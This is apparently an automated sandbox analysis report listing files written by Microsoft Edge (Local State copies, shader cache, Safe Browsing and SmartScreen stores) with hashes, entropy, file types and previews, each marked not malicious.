Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF47a4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF52f06.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF55e06.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2031281
Entropy (8bit):	4.001532179014389
Encrypted:	false
SSDEEP:	49152:pgPh2N/MR+DgVFIlq6hTN7X4Vrg+k+lzKVSf4YVxeqOWlcKRayjH09bnwBXQ0a/E:Q
MD5:	CA095618608BFC7939BB36D273635DF5
SHA1:	12BD896A016E5F987B700CD5FFB89C8D51D8D8F1
SHA-256:	CA653667207BA8CF264C2B7B2C833868EA68B373D41D45F24BAA48CE26A93CD9
SHA-512:	0294EA39C37AA125348272DEFA940FE520D836B1BF8BF11C5EB5AA393660783BF333864EFC870591A842A6C77E34A72D4DE35142E3A75349E7D27D23C361EF67
Malicious:	false
Preview:	.........{ .*..{.....{. ...{aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2031281
Entropy (8bit):	4.001532179014389
Encrypted:	false
SSDEEP:	49152:pgPh2N/MR+DgVFIlq6hTN7X4Vrg+k+lzKVSf4YVxeqOWlcKRayjH09bnwBXQ0a/E:Q
MD5:	CA095618608BFC7939BB36D273635DF5
SHA1:	12BD896A016E5F987B700CD5FFB89C8D51D8D8F1
SHA-256:	CA653667207BA8CF264C2B7B2C833868EA68B373D41D45F24BAA48CE26A93CD9
SHA-512:	0294EA39C37AA125348272DEFA940FE520D836B1BF8BF11C5EB5AA393660783BF333864EFC870591A842A6C77E34A72D4DE35142E3A75349E7D27D23C361EF67
Malicious:	false
Preview:	.........{ .*..{.....{. ...{aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNld/MLl:Ls3KLl
MD5:	052C85E422297482A6DCDF082D5E7131
SHA1:	2E8C36CD2F22BA1D215A9E26AE09E7E6FBC4F68D
SHA-256:	0289394AD1D9F17D7232791C7237165DDEC3FED97F6CF57865CFEBCFC9B323E9
SHA-512:	372132162A7A62611D2BA80C35DD002EAB783E2791162BD9C541648EDE77F2F15356BA7120DCBCC729E732693BCD8BA01159462474CA9ABA4F2EA2D2C95FB6E6
Malicious:	false
Preview:	..........................................Zw../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.389669793590032
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQOn:YQ3Kq9X0dMgAEiLIMn
MD5:	03B6D5E81A4DC4D4E6C27BE1E932B9D9
SHA1:	3C5EF0615314BDB136AB57C90359F1839BDD5C93
SHA-256:	73B017F7C5ECD629AD41D14147D53F7D3D070C5967E1E571811A6DB39F06EACC
SHA-512:	0037EB23CCDBDDE93CFEB7B9A223D59D0872D4EC7F5E3CA4F7767A7301E96E1AF1175980DC4F08531D5571AFB94DF789567588DEB2D6D611C57EE4CC05376547
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":15}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c641bd9e-c56d-49d6-8e5e-92813a258559.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9456
Entropy (8bit):	5.839539974533574
Encrypted:	false
SSDEEP:	192:fsNwjzeiRUN/bxyl/hcel1TlkKb96qRAq1k8SPxVLZ7VTiB:fsNwb4/tylZc6T2Kb96q3QxVNZTiB
MD5:	6C44FD41D85BD4F4988F00940ACE0787
SHA1:	3C0D1CE2A4D854F6A9E709FE73978555C4272340
SHA-256:	D8C6DA344841090A9E2EC309D0F55BCA97A3678AF75382321B5708FA29C17E89
SHA-512:	B8E3118F76438610334F7CE54F61E61A52479B6AA62F4D2652D423AE9BA6538DA8AF2BF5D66BA3CA9D32EF2210B6C81D6669B7D4C7FE5578B9967A4E65C4522F
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d080744a-2314-42ff-b68a-76c7d82a73d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9440
Entropy (8bit):	5.839614672529397
Encrypted:	false
SSDEEP:	192:fsNwjzeiRUN/bxyl/hceIyTkKv96qRAq1k8SPxVLZ7VTiB:fsNwb4/tylZcCQKv96q3QxVNZTiB
MD5:	B2FC582BA20744C5885DA5391E186EA3
SHA1:	55B0A9F02912594982E103075AEEF8DC713AB9C1
